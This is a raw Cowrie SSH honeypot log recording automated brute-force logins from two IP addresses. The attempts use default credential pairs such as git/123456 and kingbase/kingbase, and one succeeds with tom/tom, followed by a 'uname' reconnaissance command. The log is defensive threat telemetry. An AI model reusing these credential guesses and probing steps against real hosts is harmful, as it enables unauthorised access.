{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:45.776630Z","src_ip":"193.151.144.93","session":"5b500287102f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:46.285110Z","src_ip":"193.151.144.93","session":"5b500287102f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:47.456356Z","src_ip":"193.151.144.93","session":"5b500287102f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33420,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc33a37f278c","protocol":"ssh","message":"New connection: 193.151.144.93:33420 (10.17.0.5:22) [session: fc33a37f278c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:50.948611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:50.953685Z","src_ip":"193.151.144.93","session":"fc33a37f278c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:51.125165Z","src_ip":"193.151.144.93","session":"fc33a37f278c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:51.626248Z","src_ip":"193.151.144.93","session":"fc33a37f278c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:53.216231Z","src_ip":"193.151.144.93","session":"fc33a37f278c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f580ea219f76","protocol":"ssh","message":"New connection: 193.151.144.93:33432 (10.17.0.5:22) [session: f580ea219f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:56.261544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:56.266933Z","src_ip":"193.151.144.93","session":"f580ea219f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:56.440493Z","src_ip":"193.151.144.93","session":"f580ea219f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:56.958643Z","src_ip":"193.151.144.93","session":"f580ea219f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:59.874903Z","src_ip":"193.151.144.93","session":"f580ea219f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46394,"dst_ip":"10.17.0.5","dst_port":22,"session":"dce395a341d1","protocol":"ssh","message":"New connection: 193.151.144.93:46394 (10.17.0.5:22) [session: dce395a341d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:01.677531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:01.684498Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:01.857848Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:03.424854Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:04.667280Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:04.671319Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:04.845543Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:04.850746Z","src_ip":"193.151.144.93","session":"dce395a341d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46406,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66cb0acfa59","protocol":"ssh","message":"New connection: 193.151.144.93:46406 (10.17.0.5:22) [session: b66cb0acfa59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:07.213665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:07.219105Z","src_ip":"193.151.144.93","session":"b66cb0acfa59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:07.607140Z","src_ip":"193.151.144.93","session":"b66cb0acfa59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:08.120534Z","src_ip":"193.151.144.93","session":"b66cb0acfa59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:09.294023Z","src_ip":"193.151.144.93","session":"b66cb0acfa59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51354,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee71aa1cca33","protocol":"ssh","message":"New connection: 103.77.175.15:51354 (10.17.0.5:22) [session: ee71aa1cca33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:10.830396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:10.839432Z","src_ip":"103.77.175.15","session":"ee71aa1cca33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:11.105424Z","src_ip":"103.77.175.15","session":"ee71aa1cca33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021989","message":"login attempt [root/23021989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:11.895064Z","src_ip":"103.77.175.15","session":"ee71aa1cca33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac04134a33c6","protocol":"ssh","message":"New connection: 193.151.144.93:39722 (10.17.0.5:22) [session: ac04134a33c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:12.698604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:12.702751Z","src_ip":"193.151.144.93","session":"ac04134a33c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:12.862770Z","src_ip":"193.151.144.93","session":"ac04134a33c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:13.160485Z","src_ip":"103.77.175.15","session":"ee71aa1cca33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:13.364567Z","src_ip":"193.151.144.93","session":"ac04134a33c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:17.814430Z","src_ip":"193.151.144.93","session":"ac04134a33c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39736,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d1c9fafbb5e","protocol":"ssh","message":"New connection: 193.151.144.93:39736 (10.17.0.5:22) [session: 1d1c9fafbb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:18.131143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:18.136072Z","src_ip":"193.151.144.93","session":"1d1c9fafbb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:18.309314Z","src_ip":"193.151.144.93","session":"1d1c9fafbb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:18.817452Z","src_ip":"193.151.144.93","session":"1d1c9fafbb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:20.418167Z","src_ip":"193.151.144.93","session":"1d1c9fafbb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43284,"dst_ip":"10.17.0.5","dst_port":22,"session":"2779a65efd14","protocol":"ssh","message":"New connection: 193.151.144.93:43284 (10.17.0.5:22) [session: 2779a65efd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:23.574272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:09:23.578578Z","src_ip":"193.151.144.93","session":"2779a65efd14","protocol":"ssh"}
